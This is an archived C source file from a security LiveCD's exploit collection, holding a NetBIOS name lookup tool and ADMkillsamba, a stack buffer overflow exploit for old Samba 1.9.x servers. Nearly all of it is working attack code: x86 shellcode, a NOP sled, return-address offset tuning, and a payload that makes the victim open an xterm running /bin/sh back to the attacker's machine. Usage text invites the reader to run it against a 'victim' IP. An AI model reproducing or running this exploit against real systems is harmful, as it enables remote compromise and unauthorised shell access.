home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / samba / smb.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  8KB  |  313 lines

  1. */
  2.  
  3. /* Note i have include a little utility pinched from ADMtoolz
  4.  for get the netbios name
  5.  
  6.   --------------------------------------------------------------------------
  7. ------------------------------[ADMnmbname.c]----------------------------------
  8.   --------------------------------------------------------------------------  */
  9.  
  10.  
  11. #define DEFAULT_OFFSET 3500
  12. #define DEFAULT_BUFFER_SIZE 3081
  13. #define NOP 0x90
  14. #define NMBHDRSIZE 13
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <unistd.h>
  18. #include <fcntl.h>
  19. #include <sys/types.h>
  20. #include <sys/socket.h>
  21. #include <sys/wait.h>
  22. #include <sys/ioctl.h>
  23. #include <sys/stat.h>
  24. #include <netdb.h>
  25. #include <netinet/in.h>
  26. #include <netinet/ip.h>
  27. #include <netinet/ip_icmp.h>
  28. #include <netinet/ip_tcp.h>
  29.  
  30. struct nmbhdr {
  31. unsigned short int id;
  32.  
  33. unsigned char  R:1;
  34. unsigned char  opcode:4;
  35. unsigned char  AA:1;
  36. unsigned char  TC:1;
  37. unsigned char  RD:1;
  38. unsigned char  RA:1;
  39. unsigned char  unless:2;
  40. unsigned char  B:1;
  41. unsigned char  RCODE:4;
  42.  
  43.  
  44. unsigned short int que_num;
  45. unsigned short int rep_num;
  46. unsigned short int num_rr;
  47. unsigned short int num_rrsup;
  48. unsigned char namelen;
  49. };
  50.  
  51.  
  52. struct typez{
  53. u_int type;
  54. u_int type2;
  55. };
  56.  
  57.  
  58. unsigned int host2ip(char *serv)
  59. {
  60. struct sockaddr_in sin;
  61. struct hostent *hent;
  62.  
  63. hent=gethostbyname(serv);
  64. if(hent == NULL) return 0;
  65. bzero((char *)&sin, sizeof(sin));
  66. bcopy(hent->h_addr, (char *)&sin.sin_addr, hent->h_length);
  67. return sin.sin_addr.s_addr;
  68. }
  69.  
  70.  
  71.  
  72. main( int argc, char  **argv)
  73. {
  74. struct sockaddr_in  sin_me , sin_dst;
  75. struct nmbhdr *nmb,*nmb2;
  76. struct iphdr *ipz;
  77. struct typez  *typz;
  78. struct hostent *hent;
  79. int socket_client,sr,num,i=1,bha,timeout=0,try=0,GO=0;
  80. int longueur=sizeof(struct sockaddr_in);
  81. char  *data;
  82. char  *dataz;
  83. char   buffer[1024];
  84. char   buffer2[1024];
  85. char   namezz[1024];
  86. char   name[64]="CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0";
  87. char   c;
  88.  
  89. if(argc <2) {
  90.         printf("usage: ADMnmbname <ip of the victim>\n");
  91.         exit (0);
  92.         }
  93.  
  94.  
  95. socket_client=socket(AF_INET,SOCK_DGRAM,17);
  96. sr=socket(AF_INET,SOCK_RAW,17);
  97. ioctl(sr,FIONBIO,&i);
  98.  
  99.  
  100. sin_me.sin_family=AF_INET;
  101. sin_me.sin_addr.s_addr=htonl(INADDR_ANY);
  102. sin_me.sin_port=htons(2600);
  103.  
  104. sin_dst.sin_family=AF_INET;
  105. sin_dst.sin_port=htons(137);
  106. sin_dst.sin_addr.s_addr = host2ip(argv[1]);
  107.  
  108. nmb = (struct nmbhdr *)  buffer;
  109. data = (char *)(buffer+NMBHDRSIZE);
  110. typz = (struct typez *)(buffer+NMBHDRSIZE+33);
  111. nmb2 = (struct nmbhdr *)(buffer2+20+8);
  112. ipz   = (struct iphdr *)buffer2;
  113. dataz = (char *)(buffer2+50+7+20+8);
  114.  
  115. memset(buffer,0,1024);
  116. memset(buffer2,0,1024);
  117. memset(namezz,0,1024);
  118. memcpy(data,name,33);
  119.  
  120.            /* play with the netbios query format :) */
  121.  
  122. nmb->id=0x003;
  123. nmb->R=0;                  /* 0 for question 1 for response */
  124. nmb->opcode=0;             /* 0 = query */
  125. nmb->que_num=htons(1);     /* i have only 1 question :) */
  126. nmb->namelen=0x20;
  127. typz->type=0x2100;
  128. typz->type2=0x1000;
  129.  
  130. sendto(socket_client,buffer,50,0,(struct sockaddr *)&sin_dst,longueur);
  131.  
  132.  
  133.  
  134.   for(timeout=0;timeout<90;timeout++ )
  135.   {
  136.            usleep(100000);
  137.            buffer2[0]='0';
  138.            recvfrom(sr,buffer2,800,0,(struct sockaddr *)&sin_dst,&(int)longueur);
  139.  
  140.         if(buffer2[0]!='0')
  141.                 {
  142.  
  143.  
  144.  
  145.                           if(nmb2->rep_num!=0)
  146.                             {
  147.                             bha=0;
  148.  
  149.                                      for(;;)
  150.                                      {
  151.  
  152.                                         c=*(dataz+bha);
  153.                                         if(c!='\x20')
  154.                                                         {
  155.  
  156.                                                         namezz[bha]=c;
  157.                                                         bha++;
  158.                                                          }
  159.                                         if(c=='\x20')break;
  160.                                    }
  161.  
  162.  
  163.                                 printf("netbios name of %s is %s\n",argv[1],namezz);
  164.                                 try =4;
  165.                                 GO = 4;
  166.  
  167.                                 break;
  168.                               }
  169.                 }
  170.  
  171.  
  172.      }
  173.  
  174.  
  175.  
  176.  
  177. memset(buffer,0,1024);
  178. memset(buffer2,0,1024);
  179.  
  180. }
  181.  
  182. /*
  183.  ---------------------------------------------------------------------------
  184. ----------------------------[ADMkillsamba.c]---------------------------------
  185.  ---------------------------------------------------------------------------
  186.  
  187.          generic buffer overflow ameliored for samba sploit
  188.  the sploit send a xterm to your machine .
  189.  hey dont forget to do a  xhost +IP-OF-VICTIM  !!!!
  190.  and put the the sploit to the same directory of  the special smbclient !
  191.  
  192.  */
  193.  
  194.  
  195. /* diz default offset and buffer size Work fine on a my system Redhat 4.2  with samba server
  196.  
  197. 1.9.17alpha5 < the last version !> i have tested on other system with this deffautl buff & size
  198.  
  199. smb 1.9.16p[9-11] the default srv on redhat 4.1 4.2  but somtime you need to change the
  200.  
  201. buffer size and offset   try a buffer of ( 1050<buffer >1100) and a offset ( 1500<off >2500)
  202.  
  203. mail me at admsmb@hotmail.com if u wanna some help */
  204.  
  205.  
  206.  
  207.  
  208.  
  209. #define DEFAULT_OFFSET 3500
  210. #define DEFAULT_BUFFER_SIZE 3081
  211. #define NOP 0x90
  212. #include <stdlib.h>
  213. #include <strings.h>
  214.  
  215. unsigned char shellcode[500] =
  216.  
  217. "\xeb\x2f\x5f\xeb\x4a\x5e\x89\xfb\x89\x3e\x89\xf2\xb0\xfe\xae\x74"
  218. "\x14\x46\x46\x46\x46\x4f\x31\xc9\x49\xb0\xff\xf2\xae\x30\xc0\x4f"
  219. "\xaa\x89\x3e\xeb\xe7\x31\xc0\x89\x06\x89\xd1\x31\xd2\xb0\x0b\xcd"
  220. "\x80\xe8\xcc\xff\xff\xff";
  221.  
  222. unsigned long get_sp(void) {
  223.    __asm__("movl %esp,%eax");
  224. }
  225.  
  226. void main(int argc, char *argv[]) {
  227.   char *buff, *ptr;
  228.   long *addr_ptr, addr;
  229.   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  230.   char netbios_name[100];
  231.  
  232.   char bufferz[255];
  233.   char ipz[40];
  234.   char myipz[40];
  235.   unsigned char bla[50] = "\xfe\xe8\xb1\xff\xff\xff";
  236.   int *ret;
  237.   unsigned char cmd[50]="/usr/bin/X11/xterm\xff-display\xff";
  238.   unsigned char arg1[50];
  239.   char arg2[50]="bhahah\xff";
  240.  
  241.  
  242.   int i,pid;
  243.  
  244.   bzero(netbios_name,100);
  245.   bzero(bufferz,255);
  246.   bzero(ipz,40);
  247.   bzero(ipz,40);
  248.  
  249.   if(argc <4){
  250.   printf(" usage: ADMkillsamba <ip of the victim> <netbios name> <your ip> [buff size] [offset size]\n");
  251.   printf("<ip of victim> = 11.11.11.11  ! THe numerical IP  Only ! not www.xxx.cc !\n");
  252.   printf("<netbios name> = VICTIME    for get the netbios name use ADMnmbname or ADMhack\n");
  253.   printf("<your ip> = the sploit send a xterm to your machine heh \n");
  254.   printf("option:\n");
  255.   printf("[buff size] = the size of the buffer to send default is 3081 try +1 -1 to a plage of +10 -10\n");
  256.   printf("[offset size] = the size of the offset default is 3500 try +50 -50 to a plage of 1000 -1000\n");
  257.   printf(" HaVe Fun\n");
  258.   exit(0);
  259.   }
  260.  
  261.     sprintf(arg1,"%s:0\xff-e\xff/bin/sh\xff",argv[3]);
  262.  
  263.     shellcode[4] =(unsigned char)0x32+strlen(cmd)+strlen(arg1);
  264.     bla[2] =(unsigned char) 0xc9-strlen(cmd)-strlen(arg1);
  265.  
  266.  printf("4 byte = 0x%x\n",shellcode[4]);
  267.  printf("5 byte = 0x%x\n",bla[2]);
  268.  
  269.   strcat(shellcode,cmd);
  270.   strcat(shellcode,arg1);
  271.   strcat(shellcode,bla);
  272.   strcat(shellcode,"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx");
  273.  
  274. //  printf("%s\n",shellcode);
  275.  
  276.   strcpy(ipz,argv[1]);                   /* haha u can overflow my sploit :) */
  277.   strcpy(netbios_name,argv[2]);
  278.  
  279.  
  280.   if (argc > 4) bsize  = atoi(argv[4]);
  281.   if (argc > 5) offset = atoi(argv[5]);
  282.  
  283.   if (!(buff = malloc(bsize))) {
  284.     printf("Can't allocate memory.\n");
  285.     exit(0);
  286.   }
  287.  
  288. sprintf(bufferz,"\\\\\\\\%s\\\\IPC$",netbios_name);
  289.  
  290.  
  291.   addr =  0xbffffff0 - offset ;
  292.   printf("Using address: 0x%x\n", addr);
  293.  
  294.   ptr = buff;
  295.   addr_ptr = (long *) ptr;
  296.   for (i = 0; i < bsize; i+=4)
  297.     *(addr_ptr++) = addr;
  298.  
  299.   for (i = 0; i < bsize/4; i++)
  300.     buff[i] = NOP;
  301.  
  302.   ptr = buff + ((bsize/4) - (strlen(shellcode)/2));
  303.   for (i = 0; i < strlen(shellcode); i++)
  304.     *(ptr++) = shellcode[i];
  305.  
  306.   buff[bsize - 1] = '\0';
  307.  
  308.   execl("./smbclient","smbclient",bufferz,buff,"-I",ipz,NULL);
  309.  
  310.  
  311.  
  312.  }
  313.